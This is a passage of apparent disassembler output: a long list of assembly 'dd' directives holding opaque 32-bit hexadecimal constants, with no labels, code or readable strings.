18AA741Ah, 4E265AA1h, 3900A233h, 7B83451h, 8C8D6Fh dd 6BED9303h, 4B4FAFE3h, 28A9A500h, 8B20A8Eh, 93EB006Fh dd 71C9496Ah, 0AD01254Eh, 8D04AE2Dh, 4AF0E74Bh, 0C37400D3h dd 43BD2C50h, 34612842h, 0CB327014h, 0E9DD84F8h, 0C33E20BCh dd 0A603633Eh, 0C6B613D7h, 0AE3A180Dh, 0E9E04054h, 0FA990E20h dd 0F08038EEh, 0C7A8D91Dh, 1CAB6A39h, 3A8A6448h, 0D71C1883h dd 3249B918h, 0D28B00E3h, 7A6BE2B6h, 0DC61AFD5h, 48544928h dd 1E6801D4h, 80E28915h, 0EDC376D1h, 0EC059928h, 7D3A0EEEh dd 20D52C0Fh, 49843FB6h, 0D4A900E1h, 679445B1h, 0D1005D8Ah dd 506EF441h, 1F9E9Dh, 0CCD4A5B0h, 0B82E61ACh, 0C517D07h dd 9E009725h, 0ECAD4833h dd 0D9D10016h, 8BCAB985h, 7BE87590h, 13569600h, 0E95B3769h dd 0FF271EF1h, 0E1520E61h, 363C68C0h, 9200BF0Fh, 54D386D2h dd 2B998Eh, 0AF015B8Bh, 0D7AEC775h, 8304643Dh, 9ABB4EF5h dd 77CC03Ch, 0C3873E2Eh, 954D0D0Fh, 0EE820400h, 4003289Ah dd 5688DE85h, 22FDE8A1h, 7F390124h, 2E99D93Bh, 3EB32C8Bh dd 919A8F65h, 0BFA7E02Fh, 0AD83F28h, 0E525995h, 11848CFCh dd 0DB02F048h, 0CC2AFA80h, 6EE0DF85h, 1D14F58Fh, 68AC9CB7h dd 6D50430h, 10AA864Fh, 0B96A8414h, 665203CCh, 0B0BC14B6h dd 0EAAC3926h, 0D8BD014Fh, 8B84519Eh, 4A2990B4h, 4835A584h dd 0E17141D1h, 111E0260h, 8522EEC4h, 0E07E22DBh, 49212224h dd 10791248h, 0F688E223h, 4FE28BB5h, 7C216D24h, 10DA12DCh dd 4189441Eh, 46635710h, 0FDFFF500h, 1D9C92BAh, 25330058h dd 0C0DDFEB8h, 640091D3h, 87A3489Bh, 5014F14Bh, 0ACE1F8h dd 503A755Ch, 59C17B2h, 0BD32CF0Fh, 37A84042h, 9A286C68h dd 930E0000h, 0F3EA62D1h, 0D9008CB0h, 0EDCD0B8Fh, 0E3773Ch dd 0E9A04DCAh, 83B6F1EBh, 4194B02Eh, 39D56E00h, 3BB0CDDh dd 7D6D33D2h, 3800CE75h, 30837020h, 0CAECB0h, 45D27CD1h dd 2DA48751h, 9EBA5900h, 0A26C8096h, 295738EDh, 0DCD31FF8h dd 0C9AA80DFh, 2B8A21FEh, 100718C0h, 3DD4F614h, 0FF35374h dd 0E155D615h, 0C1A8B900h, 2B07D887h, 0ECFA6077h, 668086C7h dd 274781Dh, 344476B3h, 2C48EE4Ah, 270E0EEAh, 603A982Bh dd 961F7DB9h, 61A20615h, 4080547Eh, 0BEBFD702h, 0E0E24C95h dd 1AF202Ch, 5BA16F6h, 8059BBE9h, 6DA0EE38h, 0C0C86Bh dd 0EF234B0Dh, 533528BCh, 0F9AE49C0h, 7481032h, 0E9026AD7h dd 0EE113181h, 0EF98845Bh, 5100C1B1h, 906663C3h, 0BECFE500h dd 0D8CB082Fh, 5EAC01F8h, 0BD593FB3h, 0EC3ED92Ch, 0D70FBE31h dd 80E2A839h, 86B6D5F6h, 912A05A7h, 9AF02Dh, 0DD197A94h dd 7F001C18h, 81F1A3B7h, 528255h, 888DD165h, 644BCB04h dd 1011A714h, 6E8C06B8h, 0B040822Ah, 6998056Ah, 0C86C76h dd 7038EFE4h, 84035F40h, 5D12FF19h, 0B04893F4h, 0A194144Fh dd 1020EF8Ch, 0F1DD0075h, 215FCD7Fh, 9B001107h, 13F284D0h dd 0FC7EC8DEh, 0D4DA031Ah, 0F858E4D9h, 1104D0D8h, 62785279h dd 0C9427F00h, 0ACF01E66h, 37A400BFh, 3D0D8E58h, 513E9BE1h dd 0FFEC50F2h, 9DB9F800h, 3A531487h, 0F3B50024h, 97D1CDDAh dd 80B06866h, 0E0230C0Ch, 56B81Ah, 3E7950ADh, 0A21DB464h dd 0BF2A0B0Eh, 9A57A205h, 9F984825h, 6AF40003h, 0DBB93C31h dd 20009018h, 89D35E2Bh, 17323D69h, 0A00C2Ah, 9A084547h dd 0DD01FF18h, 9FC8D031h, 8C202FDBh, 7F981454h, 0F900A475h dd 35455022h, 0A654B981h, 0E400A494h, 0BE3F1575h, 3AFECE55h dd 7A6A64h, 113877B0h, 978EFB94h, 83024F3h, 21911A00h dd 17D94E12h, 49C35894h, 0F0BFF51Fh, 0BCD43B10h, 0F745E000h dd 0A32C0C9Ah, 0A0F3017Fh, 0C2ED80DEh, 0E4BDD45Ah, 0BC654Dh dd 0EF275415h, 4648EBh, 0B86CC88Eh, 4977D864h, 3FCCF249h dd 3908866Fh, 0CE102497h, 3DC04A84h, 9220A181h, 0C50C1D00h dd 67FB4B2Eh, 43A712D4h, 6100089h, 66BC2A85h, 0EAACBF01h dd 56C2ECB3h, 1263D5C8h, 25271F1h, 834CB518h, 7051D898h dd 259D9600h, 5EF8A5C9h, 0C3CAFE17h, 7E0667B8h, 1B5DCFA8h dd 18B3FD24h, 29159E00h, 0F62147h, 0A8C7ED76h, 79B4D2F8h dd 0E1FEA272h, 0CB81470h, 0EFACB900h, 524A5F24h, 0EA3E0BC0h dd 24E036FEh, 6509B1B6h, 202810A0h, 7D93AA94h, 0D9FF125Ch dd 5D980089h, 0E6F467D4h, 1E5AC0Ah, 31079793h, 9FD56F44h dd 6173AC00h, 4B6D155h, 2DC2B78Ah, 0E43C9008h, 2CE0F3C6h dd 0DD072007h, 3CA2B948h, 0F4EC4887h, 37C40004h, 0D2A92006h dd 0FA1FF76Eh, 0D5C0B1BAh, 7813F552h, 7EDCFEAAh, 0BEF0C328h dd 0B0004C06h, 0B7658C82h, 4DBF6A7h, 0E7104305h, 7A3880D8h dd 0BB7E1AE1h, 11EA3F4h, 12C07D72h, 8DD302EFh, 0ADF4B5h dd 341C6411h, 24919E75h, 45808361h, 0D864074Dh, 0E589133h dd 2EA989C9h, 0F414D8A9h, 7100957Ah, 2AFCB0B6h, 12023B4Eh dd 14E5F5D6h, 1F00FC04h, 0A838DE44h, 9224B31Bh, 0C4151C81h dd 0ECA50F90h, 0C3471E21h, 29D04A70h, 55A4409h, 0FBA32DC7h dd 0F124D084h, 8DE0E457h, 6E764900h, 9DB0C579h, 0C4D04888h dd 60C1F603h, 18C85E13h, 45009410h, 0B12B3952h, 0C9CF07h dd 7F6090D2h, 97FF8AE6h, 0AEC6E300h, 0FCA58033h, 0F77A0007h dd 109A046Ch, 57002FECh, 58821892h, 647E0h, 0FFD4D395h dd 834DEE45h, 2D04EF00h, 5D5C8E21h, 2B0A0052h, 0B1759A91h dd 8C0FD5FFh, 205A3CCEh, 1D9617D4h, 2B7432B9h, 0B08019D0h dd 4BE1BE71h, 0D0C7A8A8h, 0D1709231h, 0CDE99A33h, 0C1A4B12Ah dd 0B8D8E003h, 4CB1EA3Fh, 0BDF50720h, 136FF36h, 742E1FF0h dd 19BDDF8h, 0E2D208E1h, 0FE84057h, 4A005306h, 0EF0ACA7h dd 2E3441Ch, 21DFFBB0h, 14E81D80h, 0F90084BFh, 0D4519441h dd 0A83959FAh, 73BBCFCh, 0E3A87187h, 13F321B3h, 6ED860CFh dd 25A6B806h, 310D917h, 0D7E94DA9h, 0D6F8DA61h, 0EF0002B9h dd 0BCADE7A4h, 5585BBh, 0C2D5E3BDh, 778FA848h, 5E5543Fh dd 28888B56h, 1459000h, 7B73A5h, 37D0DF17h, 336E49Ah, 0A4894701h dd 2C1CD368h, 0A6988440h, 35970040h, 0FB265E25h, 73006977h dd 19C4423h, 5A73375h, 0F2108D46h, 406BC3D7h, 0ADD652E8h dd 0F807E872h, 3CF1124Eh, 4C3F8920h, 6770A35h, 0C0D55Dh dd 398A02E8h, 3C00AD7Dh, 0C603228Bh, 0A0F83AC5h, 259761B7h dd 0AC80FA6Fh, 0B0DEA187h, 7AFD6C00h, 45CD25Dh, 0C8B200FEh dd 171681A7h, 0CB16274Dh, 26003399h, 7EB5D8FDh, 51600075h dd 8F0C18E5h, 0AA3DBF47h, 0E89E13B2h, 0F4156000h, 0C5B92Fh dd 2E8E49A2h, 0AF5259D8h, 0F88948h, 0C275E938h, 4CE595C6h dd 43169CADh, 0E3C900D3h, 29422A17h, 9E983F12h, 5754D000h dd 0FC6C25h, 1B93037Bh, 916539F8h, 3EF68407h, 406E2035h dd 42D5361Eh, 9B5000Eh, 137441D9h, 1400BCC2h, 7EE9733h dd 0CDB9D02h, 18E1637Fh, 91009421h, 0F32335F8h, 14B006h dd 1F7A48FCh, 81895967h, 43DDD801h, 5AB394ACh, 39D0F6F0h dd 0D4007887h, 5E73F4C8h, 11023BC5h, 92B29BF0h, 2CBBE001h dd 60E20036h, 0A9274B35h, 149A4E08h, 0BA42DE01h, 0F477992h dd 6B001028h, 0B2844843h, 5E148AA3h, 80DD09h, 61ACE005h dd 7826475Fh, 468D182Ah, 712C489Ah, 71D20A0h, 0F8A34E07h dd 6B90755Ch, 0BA9FA53h, 0B241819Fh, 0E3333B00h, 58DFE61Bh dd 0FA2803Ah, 2D3D63C3h, 1DB09265h, 40E840D0h, 0C8724FCAh dd 393A35DBh, 10B38220h, 406DE6BDh, 17EFD8h, 8BA47FB9h dd 0EA48E55Fh, 4E0B3C9Ah, 7D2982h, 3F338FCCh, 2A40016h dd 7A3CB4CAh, 5B004351h, 0F6E7FD1Eh, 78E9FAFh, 0AA7E9B38h dd 0EFF1E064h, 0EC000894h, 0C1A468ABh, 590CBE0Ah, 780B7CE4h dd 8C2F0DA3h, 0EB6C9120h, 0E2009224h, 5D7FC0D8h, 1274D760h dd 807A6254h, 86779810h, 4ED0030Ah, 0C500FCA6h, 9C8B2FA9h dd 2BC758EEh, 0E02C6400h, 5E12C6DEh, 50F1231Fh, 8001CA52h dd 189DB5ABh, 100C60h, 0F9FDA72Ch, 5BFF93DCh, 0EF8BA8A0h dd 0C1CE48h, 36C64396h, 0F3C81Ch, 0C7DB3080h, 4772CAF6h dd 0E939FCA0h dd 57295D00h, 0CC789499h, 1CB158h, 44FFB602h, 6948C28Ah dd 0A3C500C0h, 3EAD2514h, 0CD5C0068h, 75BD6E1Ch, 24008ECEh dd 892BD809h, 0C016013Bh, 3C869428h, 461E35B5h, 0A0C0E81Dh dd 407E3383h, 6FCA0080h, 307DDA3Dh, 5200E3E4h, 0F8FFC728h dd 48F195D8h, 3F01ADBBh, 2C7965E1h, 7BBCFCC4h, 5F97F902h dd 80E44458h, 0CB0C4C9Ah, 9AA20BCAh, 4B7C8C71h, 7E799C02h dd 48345880h, 0AF38503Eh, 47424B80h, 0C9E70731h, 0EA099614h dd 0ED85009Ch, 0FBFA5ACFh, 0C1E000D9h, 4A593D32h, 0AE091CBAh dd 5BEBBF0h, 0CC41E1Ch, 28061C7h, 5989A9h, 1A03C2AAh, 2C2836C9h dd 500F4E0h, 649A71CBh, 1FAF996Dh, 0C093D510h, 0B441ED82h dd 30278B46h, 0A310045Ah, 1C021CB0h, 416AA9E9h, 53C7514Ah dd 9993D4A8h, 0ECF41A01h, 0CC47658Bh, 0A2F870h, 31CEAF71h dd 487610E5h, 84B8DE00h, 0EE236286h, 1E6402C1h, 0D0A7E8F9h dd 9E5F4660h, 0DD55D500h, 0FAFE4210h, 435800BBh, 4D5B703Bh dd 0A20C1653h, 506E3493h, 0C804077Eh, 6F9FD9C6h, 733A0A0h dd 0E20798CBh, 0DD1F8699h, 0E4359AA0h, 0AAB71ED7h, 2DE7808Ah dd 4EE26EC5h, 29431301h, 6B0184F3h, 900F45E8h, 91CA01B4h dd 0B9C2AEE2h, 50FF6058h, 0F1293661h, 0D3FC51DAh, 0EB9007CDh dd 0A39D8E4Bh, 310FAC61h, 0CE306FB0h, 0AEF4A046h, 0BB3E93h dd 702FDDCEh, 0BE06A01Eh, 9D03C7FCh, 0FAFCEF15h, 0A128000Bh dd 2CB105F2h, 0AD30BE62h, 0C15019E5h, 0E7213A0h, 647400FBh dd 0C56614B5h, 8100B17Eh, 1C3D52DDh, 9865FF79h, 0F0DF4F1h dd 72EF16BEh, 51A9E0A0h, 954A3796h, 6A9C0C00h, 0EC06CA6Bh dd 2ED202CDh, 2B23F65Ah, 0BAF7060h, 0C0F8122Ch, 403ABC42h dd 17E5C844h, 34F9320h, 0EF2B0C54h, 0B65D72C0h, 880013FEh dd 0AD534A5Ah, 0DA7B6Bh, 5B9016D1h, 0BFA8CEBEh, 4842F331h dd 0F7EDBB3Fh, 6663D4h, 0C9C59DCDh, 0D2E10A77h, 41064DF4h dd 0D0D73C20h, 406A6030h, 44620A74h, 8369D300h, 0CDE984D5h dd 0B40007Fh, 0CE3CB38Fh, 3903F49Dh, 9A1BB027h, 524398DBh dd 1EC6005Fh, 73688A08h, 0EB17C74Ch, 0CD1F5D80h, 1856DC80h dd 1076282h, 0A8CACFB5h, 8E2D385Ah, 8FE4BB38h, 6A5C2717h dd 0E6D98000h, 0A0030F51h, 12000727h, 0B795D498h, 1CF26504h dd 0DCB0BF36h, 0B4B96Ah, 7C10C3CAh, 8C2812AFh, 0CC90A01Bh dd 0F8E22216h, 9CC5444h, 7F05E8DAh, 91CCA2B5h, 30D85840h dd 8000A4E8h, 6CE414E7h, 795C770h, 2F31FC90h, 0BCC0074h dd 1000FEEBh, 0B2E5462Eh, 58DBFFDDh, 5F0FD88Bh, 0B7C038C4h dd 41DA9064h, 1DEBAD39h, 42C279AFh, 0C085398Eh, 7CB220h dd 0BAA3F5E5h, 5421989Fh, 2B8CE801h, 0FCB56D39h, 902E09C0h dd 2720792Ch, 0C080CCA9h, 0EF275576h, 9CF61609h, 0FEAC0050h dd 6C5C37h, 1335C48Ch, 0BABDABF5h, 0A8C09476h, 0E08BF738h dd 9B5A00C2h, 6D2FA1DBh, 0FF1234D4h, 0F300AE37h, 3B68F505h dd 0E406006Ah, 0CA119CA3h, 0C400AF1Ch, 0A53DE357h, 0CC4C82h dd 78DBFBA7h, 1575BE58h, 0E45AD302h, 0C0124988h, 34BCC54h dd 6D747C82h, 8BE9CDC2h, 0EE448010h, 44522059h, 95B58FBh dd 9B04CB3Eh, 0C004B103h, 589F09B0h, 7002B300h, 290BAAACh dd 0E4E6000Eh, 0D99EE131h, 88008CC7h, 8A8945CDh, 7820B013h dd 0A8EA0907h, 6C9A32ABh, 8FDD7D40h, 576D3112h, 0A82FD70Ah dd 2840282Eh, 890D19E4h, 5229DCAEh, 8E464900h, 9DD40407h dd 0ADCB008Ch, 4C51FA03h, 0FE3A81EBh, 9FE080D0h, 7363357Bh dd 0ECA8A859h, 0ADFC0454h, 9029F1E2h, 0E40DA52Ch, 0A2C5B601h dd 0FDB9563Dh, 1259A3F8h, 1DB7DE13h, 0BDE44954h, 67014B0Eh dd 31A11816h, 7B3DCCAFh, 565C5200h, 0CC17F80Dh, 0C603132Fh dd 6DF6006Ah, 31D838D2h, 3ECFB601h, 437619D3h, 0E453420h dd 0E7B3A83Ah, 4A84D136h, 0D40F2087h, 71852700h, 0D6F20B5Bh dd 0C277DDh, 5193C3E1h, 5EEB658Eh, 30E7D80Bh, 746C02F5h dd 508178FDh, 752E9826h, 52C5384Eh, 0D5C992h, 0CA450884h dd 0BF011860h, 7F82B725h, 9CC81F05h, 0F6FC7Ah, 0D2DB39ECh dd 12AEC77Bh, 110D890Fh, 341F8755h, 0EB7CCD70h, 0E0824806h dd 30BC731Ch, 8B38F511h, 0C53A5624h, 0E612CE00h, 120A4090h dd 16D31411h, 490400F0h, 7A7E4E35h, 0D9C740h, 96D1CBABh dd 0E613C651h, 7976BF03h, 0F0E35409h, 77817541h, 149861h dd 4E5666ADh, 725F8B2Dh, 65D75900h, 31A51603h, 70BD4802h dd 8C808600h, 7CFB1C0Dh, 602F6B01h, 480CE3B2h, 5A1110E4h dd 0F1980194h, 0F8048C5Eh, 8A096CF3h, 980E02ADh, 42FCBA4h dd 0D1C6F557h, 0E20E20Fh, 855D100Dh, 4000D948h, 92423666h dd 79D577FCh, 707D6Eh, 0E265D0D3h, 0EA8CAB01h, 434B6D25h dd 46103C0Ch, 0BE7439Fh, 4090B54Eh, 95002EBBh, 78CC1CF8h dd 9A2AADCh, 405E7F39h, 0EFE59C00h, 8160C5ECh, 192368E6h dd 23600A4h, 854364A5h, 98A00374h, 65036BAAh, 17AECEB5h dd 0F4AFC058h, 1D152ADCh, 42214BC0h, 0D2A13A14h, 0E42D0841h dd 9F507BB8h, 0EE13DEF1h, 660093CEh, 24B6C92h, 1DA744Eh dd 521785B7h, 0DC22E9E6h, 2B7A9F38h, 46349500h, 5E5BCC92h dd 0B211D15h, 0DC3784DBh, 2630B0C8h, 0E926D1Bh, 0C1190A8Ch dd 0E93C11h, 0F675658Dh, 9109F1EEh, 0C1662h, 0F5215044h dd 57700723h, 96DF7Ch, 0D9522B12h, 8B3638h, 66139FD4h dd 0C7C0623Eh, 0E01E1FE0h, 0D3748728h, 0D46BB501h, 61CD567Ch dd 0D770F9F9h, 639F0BA5h, 2407AB31h, 995D536Ah, 7AB9DFB0h dd 1764A11Dh, 0EA024680h, 3E021F9h, 6C9D36FEh, 0CCCA8087h dd 58852460h, 0C400389Eh, 48AFB5C5h, 0A9FE0010h, 63496F1Ah dd 8E05B128h, 2C7D2E08h, 7CEFE8C0h, 92D8004Ch, 9BF87ABCh dd 101685Bh, 0E0B6121Fh, 55D58845h, 99C31820h, 32DF0228h dd 7220CCB9h, 4CFD3693h, 60391C10h, 90CB8317h, 0D4E6B38h dd 0DD84F700h, 80259BA8h, 15215E4Bh, 0AD0B18B0h, 0FCC06B83h dd 820160D5h, 0DF03B47Dh, 94223EC4h, 56929E0Fh, 0BE73C0E0h dd 1700F241h, 3155BD94h, 1BA2864h, 0C96DB880h, 0E82AF827h dd 98002ECCh, 75CF19F7h, 2557C9Eh, 0C54BAA1h, 0F0D933BBh dd 0F38A4A04h, 63CD80BEh, 1817878Ch, 3A02FB5Fh, 4099ECF5h dd 0E760ECh, 2E482455h, 0A9D886E0h, 0E1DF203h, 1CF875B7h dd 0C0AFBE90h, 74DF5E73h, 7E3B1A2Ch, 0D05B0036h, 826CDDACh dd 3D0800E1h, 5529A081h, 153841E6h, 63E78925h, 0B22B0469h dd 0CD6C8E0h, 0F93357F4h, 3513B680h, 4246F81h, 44B12895h dd 2AD460h, 0D27CD308h, 0E40F978Bh, 5F2C3E03h, 0E8C2D5FDh dd 2F7DB0DAh, 0E000B83Bh, 0E5EAA160h, 6A772Fh, 0E27ACA4h dd 5AA5382Ch, 30BADF82h, 0F4F877C0h, 8FE80A4Ah, 0A68B8600h dd 0BDE8C5FCh, 33930E00h, 6167A32Ch, 1F3B097Ch, 0F0255594h dd 3BE8F21Ch, 0BDD801Ah, 13B92257h, 0ADB01DD2h, 6EE1008Eh dd 20CB8AF1h, 3200C874h, 693EDABDh, 90EBA179h, 46E73E70h dd 0FD80F4B9h, 0C49F9174h, 0F55E18EFh, 0AD0F0830h, 3CAB5C77h dd 47353303h, 0E988D622h, 715A8ECEh, 1CD14C00h, 26F9B60Fh dd 0C869DAh, 4934F496h, 8A30CF2Ch, 840DF05Fh, 0E43B0086h dd 5A220AF0h, 3A00DA6Dh, 1211C332h, 7702F6h, 97076008h dd 5F912303h, 0B976CF00h, 821AFF4Dh, 0F6DF489h, 53AD7567h dd 198080A9h dd 3D9AA20Dh, 0ACDA5E00h, 0F9937752h, 0DE200329h, 0ED951DCh dd 16CC57E0h, 4400535Bh, 922DA483h, 0F21E00FBh, 937E8D76h dd 0D30132D8h, 35D0BAF6h, 0C3C82394h, 0A8B88Ah, 9AB2826h dd 0A2C4B7CDh, 655B6900h, 4DE10B40h, 90EA7A2Fh, 6D72C0h dd 6A67C32Bh, 4C535D1h, 5548BB0Bh, 0CEA86073h, 6E4700D9h dd 0EC71F2B9h, 0E30469A4h, 395ADD91h, 59B8DE00h, 0DB48A90Ah dd 88F30384h, 0C89386E7h, 9765C6h, 7A63E390h, 0BBDCD939h dd 54D0E500h, 0A53740B8h, 11CE3056h, 6B80C6E8h, 0CF4A08E2h dd 0C942C402h, 1244472h, 0B340829Fh, 80866895h, 0F1A1D220h dd 0EE85E689h, 677D279Eh, 5C0108Eh, 0A9FA52F5h, 0E809E50Ch dd 0E6BD0D7h, 0D6F4E3B7h, 631441C0h, 0EC999FB3h, 0FA71209h dd 0DA55E000h, 4BFAB779h, 0FBB842h, 0FDB8D93Eh, 1A3AF8h dd 7DD49E14h, 0CC90CA78h, 52568D05h, 0E08688C6h, 62720098h dd 543E1932h, 3102A4BAh, 840E0377h, 0E690C0F9h, 7FC3857h dd 0A5E81FB0h, 72B08A3Fh, 0FE7FA0A8h, 0E7485503h, 0E8D5F354h dd 769CB4h, 193F412Dh, 0BFC5AE8Eh, 0CB11400Eh, 518A60DCh dd 1CF93Dh, 0C15D99F8h, 673CF084h, 0D80A2205h, 2080E546h dd 0A08CBDh, 80AEB1B6h, 2A48101Fh, 4B42053h, 36C81B8Eh dd 0AD54A0h, 5AF74825h, 7E24970Bh, 0B4B09E00h, 418D3520h dd 0C2FB0203h, 0B7BC6586h, 0B637E4C0h, 111AC102h, 0E09DB561h dd 339C498h, 9AA63117h, 0F8809BB1h, 0A400F757h, 5489D8D3h dd 2696EA94h, 12C40F3h, 95A2EB8Dh, 0E4003A2Bh, 9434E50Dh dd 314400E6h, 11D9891Bh, 3B073F2Fh, 0E1DCAE0Fh, 2D80C9C4h dd 157CCD5h, 7338CD7Eh, 0E85E7BFCh, 0F6019B6Eh, 31E5FE3Eh dd 7064837Dh, 4CB700C6h, 6465C2A6h, 800EA196h, 0A082B54Ah dd 0C7625220h, 4074010Ah, 2114EBE6h, 273C3405h, 0E0D5AA01h dd 0BFF08642h, 0B9E8A050h, 465417ABh, 50CC802Ah, 0C3134CD1h dd 0CB058E9h, 0E8F3E820h, 803A2731h, 900D844h, 487C3FB9h dd 0E48C49E1h, 2736E8EBh, 506478D3h, 8BB34E40h, 272604F4h dd 0D68BDB41h, 181E3A83h, 0D328B828h, 490F204Eh, 1D3A4874h dd 76375028h, 8E20B438h, 46EE0E2h, 498497B5h, 0C9484DFh dd 0A520A914h, 4658AB0Ah, 50210C16h, 0C0643F0Ch, 63AC00A9h dd 92249445h, 7D009566h, 8B06BA2Eh, 0AB043Dh, 5EA33564h dd 0BCAC4BF8h, 0BDEF5500h, 52A289A6h, 1A0426CEh, 821D58h dd 7DA4BB70h, 9F3EDABFh, 931007A0h, 0E0940F0h, 0D7C5A0ADh dd 9EEE197h, 0BB752D7Ch, 2AD49B00h, 5E0E4D2Bh, 61BD51B8h dd 30CBD116h, 871270h, 0F5921C3Fh, 8BBEC173h, 14B339h dd 0A8D4017Ah, 90C8EE94h, 1CF10187h, 13CF2580h, 0B090E485h dd 0C99EF00h, 0C4D8D020h, 17AB00FEh, 0FBB3F557h, 0EC00DBA4h dd 8D09856Eh, 0F779FCh, 0AC044758h, 0E827A7E3h, 0D32E6007h dd 0B8B4BBC7h, 59D4CF0h, 327714F5h, 3AD0062Bh, 0A9600803h dd 14EDF621h, 42320040h, 0BCB4200Bh, 8801D4CAh, 0C3A7EF87h dd 599169BDh, 14FE80A0h, 8C033274h, 0FDA244h, 0BF8C14F6h dd 85A8109Eh, 0A7254601h, 404B4275h, 79F8688Ah, 2CCE01F8h dd 755AEE8h, 78C77087h, 9950EEF7h, 0CC68D7C2h, 95217E08h dd 5B786100h, 2BB4935Ch, 744D0658h, 58476B42h, 232C80D0h dd 787709E6h, 22809805h, 0AB207C2Ch, 1D2D787Fh, 0C09D81EEh dd 156B0D77h, 0A328B7EDh, 0BC5884B6h, 685130C9h, 0B9D11Dh dd 26157B72h, 0B72D505Ah, 3BECC712h, 0AE046445h, 37988841h dd 773026B0h, 0D7950FA3h, 7B2E4EF7h, 9FD31360h, 74506ABFh dd 7EC51B4h, 3070AD60h, 2184D87h, 22F93B2Ah, 4D603E84h dd 0B8001E0Fh, 97DD574Fh, 7A62ECEBh, 0E11E61Fh, 6A20989Ch dd 683115E3h, 6B962388h, 0FB1B0500h, 11C8DA8Ch, 33A1987Ch dd 8308A418h, 95D42100h, 2357E5DAh, 0A00C0006h, 0EF31982Ah dd 83001F6Ah, 5605682Eh, 30306514h, 9B399516h, 0D5015FB1h dd 60068AAAh, 80805C08h, 0A2FDB235h, 0C007D49Bh, 7365921Bh dd 1A06C547h, 256B0F38h, 9CA057CDh, 8467F4A7h, 2D08D066h dd 0C55F0021h, 0C68E9E57h, 16283C52h, 35006882h, 98A1E5E7h dd 6060AFF2h, 5B82A885h, 7C1D0907h, 4C7DC1Eh, 95F719FEh dd 4FD12970h, 0BD0A24B4h, 59F80021h, 243DE40h, 0BAC5CB00h dd 2E240B5Dh, 0EC4F0EA9h, 5CC05499h, 505B469Fh, 3FA02200h dd 62E3D757h, 51B40C41h, 78E6E488h, 0DBCC4400h, 0F0DE0604h dd 0BA500063h, 21608719h, 7107F638h, 0AC3AC9F8h, 0DBCBE3F1h dd 44AED8h, 57CE63F7h, 0A1B2D296h, 6C00B0F8h, 81AD37F4h dd 5E14D1h, 0F2D58CD6h, 0DC18B736h, 922E4500h, 0B3578A39h dd 30BE0084h, 0C0703D24h, 1E0177DFh, 90F5F0EEh, 7BF8944Dh dd 0A9505A6h, 803A8793h, 67C82810h, 0D8209718h, 0C0948208h dd 0C6C26520h, 8301C3C1h, 68E4041Dh, 8897906Fh, 66A2B00Dh dd 1F1F5CB8h, 2B0197FDh, 92CFED0Bh, 0F5A74080h, 0F5D5CA8h dd 0D3B73706h, 6F084714h, 31202188h, 0D15FF95Ch, 180012E8h dd 97D2BF1Ch, 3A7071Ah, 56939895h, 307801ACh, 0E6D46A01h dd 0B3EF783Ah, 0CCD783FCh, 41216808h, 0B8E6EC3Dh, 61FE86C5h dd 2058533Ah, 79C0BDFCh, 20F1AA95h, 293E0055h, 0EE746147h dd 26EA97EDh, 0FD8AC400h, 78374090h, 0F480301Eh, 0BC68AA10h dd 9848A26Ch, 0EB048C57h, 0D7783DE6h, 4A206762h, 3B9BE6E3h dd 0CB80BD6Dh, 0F65CA684h, 0FC141A5Dh, 3AC5AF8h, 0A74E6F9Eh dd 60E4D296h, 0C09C23BCh, 5DB30A40h, 1A03A955h, 1206F843h dd 0AF083393h, 11FFDD21h, 0E0FFBFF3h, 6E07CE78h, 1C1AC4F2h dd 7E606996h, 309260ACh, 0E8023FC3h, 60E5753Ch, 99814678h dd 0E71B00FCh, 5F5A16AAh, 0DC00513Dh, 3C096113h, 25F8E9h dd 46C5CA02h, 0D596491Bh, 2CD10E00h, 4C905FD9h, 6BFC0056h dd 6F329E04h, 0F000B11Fh, 0D5B2330h, 9A3AB2h, 0B34645D3h dd 0CED194EBh, 0E4C4B800h, 418A9E2Bh, 0F1E9072Ah, 235C727Ch dd 33B0C546h, 497C548Fh, 0BDA67700h, 0F0BC8A1Fh, 0FB2E6CEh dd 31E072EBh, 7087F2Dh, 0A1EF00EDh, 0AD1898D1h, 0DC714C6Fh dd 0A87134h, 0FF4353Ah, 56CAAFC4h, 52C98A02h, 4108546Ch dd 3180403Fh, 1EF37E89h, 33019FD0h, 37974327h, 25D44C4Ah dd 0FED50072h, 0C940E8BFh, 0A106AB4Dh, 23D3C251h, 0A76E0041h dd 0B99D8636h, 0EAFEC5D8h, 0B2003775h, 57244647h, 60D361DEh dd 39CF3122h, 7898D953h, 2F0FD700h, 0F911CE64h, 5EE80092h dd 0D833CCAh, 8A38F19Eh, 3802006Ah, 9CC13FD9h, 98726F9Ah dd 34361880h, 0BB141FE0h, 3A4F8A7h, 7ABD12B3h, 61B01425h dd 7C9C08h, 0B9175719h, 0A7E7C0FFh, 37683D00h, 0F7CC4AEh dd 0E57B61h, 2EBC4B1Fh, 3324E667h, 0F37ED63Ah, 86966A00h dd 9CC0150Dh, 4265310h, 0A1DCB980h, 0E107B5D5h, 6E35160Eh dd 733669C0h, 22576D7h, 44261E6Fh, 0AC4067F5h, 2130CFDCh dd 0B3AD4037h, 1B230039h, 0BBB77132h, 1E00658Ch, 68C3E453h dd 609DFBA7h, 749C2040h, 0C8F8700Bh, 840820A7h, 3188C796h dd 871AF8ACh, 336B46B1h, 4874ADC0h, 9A56304h, 2000C371h dd 8D337366h, 35D4239h, 91931D96h, 0B8005604h, 3CDEA57Dh dd 0ECAA82EAh, 13738018h, 0E82D2506h, 0FF68279Fh, 548470D0h dd 309405h, 0A3B4F45Eh, 9B68175Ah, 2F085B66h, 56500021h dd 7A1EFAF4h, 4C6161ACh dd 32A02119h, 0D9B448h, 6E38395Eh, 0E830532Dh, 0AD296760h dd 7FF0289h, 5FB91418h, 62FE81A3h, 71BBE019h, 0A44758h dd 56E64A6Eh, 600E6B9Ch, 0B5205934h, 0B6135DC5h, 410C24B0h dd 0C0280829h, 0C5AD0321h, 8003126Ah, 0F6D69157h, 42780017h dd 325D2255h, 58002AE1h, 5A797C06h, 66CFF595h, 0B046163Fh dd 7E6D4F02h, 0E1AD55ACh, 9C401E8Eh, 481A9FAEh, 5B00100Ch dd 9D46EB3Fh, 7800B845h, 0AE52FA3Dh, 8CAC74h, 0F9172B9Bh dd 0A776EA4Eh, 0FA1CF18h, 0B28138h, 32289CFFh, 0DB4B100Ah dd 9506B49h, 0E770FCh, 373A9374h, 844661Dh, 2F01C1F9h dd 0A374E769h, 0B459A621h, 110072DDh, 9FFABFD5h, 2939BC00h dd 646699A3h, 7798019h, 0DEAC1050h, 506032F8h, 0B6E57118h dd 0A0396089h, 4CA9824Dh, 0D904F0C0h, 3718072h, 7AEF6DD6h dd 48D8A546h, 